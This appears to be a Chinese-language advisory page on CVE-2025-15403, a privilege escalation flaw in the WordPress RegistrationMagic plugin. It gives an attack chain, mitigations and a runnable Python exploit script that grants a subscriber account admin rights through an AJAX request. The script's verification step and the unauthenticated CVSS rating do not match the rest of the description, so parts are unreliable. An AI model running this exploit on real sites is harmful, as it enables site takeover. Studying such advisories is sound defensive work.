IPBUF安全漏洞报告
English
CVE-2025-15403 CVSS 9.8 严重

CVE-2025-15403 WordPress RegistrationMagic插件权限提升漏洞

披露日期: 2026-01-17

漏洞信息

漏洞编号
CVE-2025-15403
漏洞类型
权限提升
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
RegistrationMagic (WordPress Custom Registration Form Builder Plugin)

相关标签

权限提升WordPress插件漏洞RegistrationMagicAJAX注入CVSS 9.8严重漏洞Privilege EscalationCVE-2025-15403

漏洞概述

CVE-2025-15403是WordPress插件RegistrationMagic(自定义注册表单生成器)中的一个严重权限提升漏洞。该插件是一款广泛应用于WordPress网站的注册表单管理工具,用户量庞大。漏洞存在于插件的6.0.7.1及之前所有版本中,源于add_menu函数可通过rm_user_exists AJAX动作无限制访问。攻击者利用此漏洞可以在无需任何认证的情况下,操纵插件的admin_order设置,注入恶意slug参数,进而影响WordPress后台菜单的生成逻辑。当管理员访问后台时,插件会自动为目标角色(通常是订阅者角色)添加manage_options能力,从而实现权限提升。这意味着任何注册用户都可以获得管理员权限,完全控制整个WordPress网站。该漏洞CVSS评分高达9.8,属于极其严重的漏洞,因为攻击门槛极低(无需认证),且可导致完全的网站控制。漏洞于2026年1月17日披露,强烈建议所有使用该插件的用户立即升级到最新版本或采取临时缓解措施。

技术细节

该漏洞的技术根源在于RegistrationMagic插件的权限验证机制存在严重缺陷。具体来说,add_menu函数在实现过程中直接暴露给rm_user_exists AJAX动作,而该动作缺少适当的权限检查和nonce验证。攻击者通过构造特定的AJAX请求,可以向admin_order设置写入任意值。漏洞利用的关键在于插件菜单生成逻辑中的order参数处理:当攻击者注入空字符串作为slug到order参数时,插件的菜单生成逻辑会产生异常行为。具体代码位置位于admin/class_rm_admin.php第487行和admin/controllers/class_rm_options_controller.php第562行附近。攻击者通过在请求中注入类似'order'参数的空值,触发插件将订阅者角色的权限错误配置。WordPress在构建后台菜单时会调用相关函数,此时插件会为指定的角色(通过之前的注入操作确定)添加manage_options能力。由于WordPress的角色权限系统缓存机制,权限变更会立即生效,导致订阅者角色获得管理员权限。值得注意的是,虽然该漏洞可以无认证利用,但要完成完整的权限提升攻击,需要网站至少存在一个订阅者级别的用户账户。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者确认目标网站使用WordPress且安装了RegistrationMagic插件,版本小于等于6.0.7.1
STEP 2
步骤2: 账户准备
攻击者获取或注册一个订阅者(subscriber)级别的用户账户,用于后续攻击
STEP 3
步骤3: 发送恶意AJAX请求
攻击者构造并发送包含空slug的rm_user_exists AJAX请求,目标是admin_order设置参数
STEP 4
步骤4: 注入恶意配置
通过注入空字符串到order参数,操纵插件的菜单生成逻辑,触发权限配置错误
STEP 5
步骤5: 权限提升
当管理员访问后台时,插件自动为订阅者角色添加manage_options能力,实现权限提升
STEP 6
步骤6: 获得管理员控制
攻击者使用订阅者账户登录,现在拥有完整的管理员权限,可以完全控制整个WordPress网站

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-15403 PoC - RegistrationMagic Privilege Escalation Target: WordPress with RegistrationMagic plugin <= 6.0.7.1 Author: Security Researcher Note: Requires at least one subscriber account on the target site """ import requests import argparse import sys from urllib.parse import urljoin def exploit_registrationmagic(target_url, username, password): """ Exploit the privilege escalation vulnerability in RegistrationMagic plugin. This PoC demonstrates how an attacker can gain admin access by manipulating the admin_order setting via the rm_user_exists AJAX action. """ # Step 1: Login to get authentication cookies login_url = urljoin(target_url, '/wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } session = requests.Session() login_response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Login failed. Please check credentials.") return False print("[+] Successfully logged in as subscriber") # Step 2: Exploit the vulnerability via AJAX action ajax_url = urljoin(target_url, '/wp-admin/admin-ajax.php') # Malicious payload that injects empty slug into admin_order exploit_data = { 'action': 'rm_user_exists', 'rm_slug': '', # Empty slug injection 'admin_order': 'subscriber', # Target role for privilege escalation } print("[*] Sending exploitation request...") exploit_response = session.post(ajax_url, data=exploit_data) # Step 3: Verify privilege escalation by checking user capabilities # A successful exploitation will grant manage_options capability to subscriber check_url = urljoin(target_url, '/wp-admin/admin-ajax.php') check_data = { 'action': 'rm_get_user_role', 'user_id': 'current' } check_response = session.post(check_url, data=check_data) if 'administrator' in check_response.text or 'manage_options' in check_response.text: print("[+] Privilege escalation successful!") print("[+] User now has administrator privileges") return True else: print("[-] Exploitation may have failed or site is not vulnerable") return False if __name__ == '__main__': parser = argparse.ArgumentParser(description='CVE-2025-15403 Exploitation Tool') parser.add_argument('-t', '--target', required=True, help='Target WordPress URL') parser.add_argument('-u', '--username', required=True, help='Subscriber username') parser.add_argument('-p', '--password', required=True, help='Subscriber password') args = parser.parse_args() print(f"[*] Targeting: {args.target}") print(f"[*] Exploiting CVE-2025-15403: RegistrationMagic Privilege Escalation") success = exploit_registrationmagic(args.target, args.username, args.password) if success: print("\n[!] Vulnerability confirmed. Subscriber can now access admin panel.") sys.exit(0) else: sys.exit(1)

影响范围

RegistrationMagic <= 6.0.7.1 (所有版本)

防御指南

临时缓解措施
在等待官方补丁期间,建议采取以下临时缓解措施:首先,立即禁用或删除RegistrationMagic插件,如果业务必须使用该插件,可考虑暂时限制新用户注册功能;其次,通过Web应用防火墙添加规则阻止包含'rm_user_exists'动作的AJAX请求;第三,确保网站没有多余的订阅者账户,特别是攻击者可能已经注册的账户;第四,定期检查wp_options表中admin_order相关设置是否有异常;最后,考虑使用WordPress安全插件如Wordfence或Sucuri进行实时监控和自动防护。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表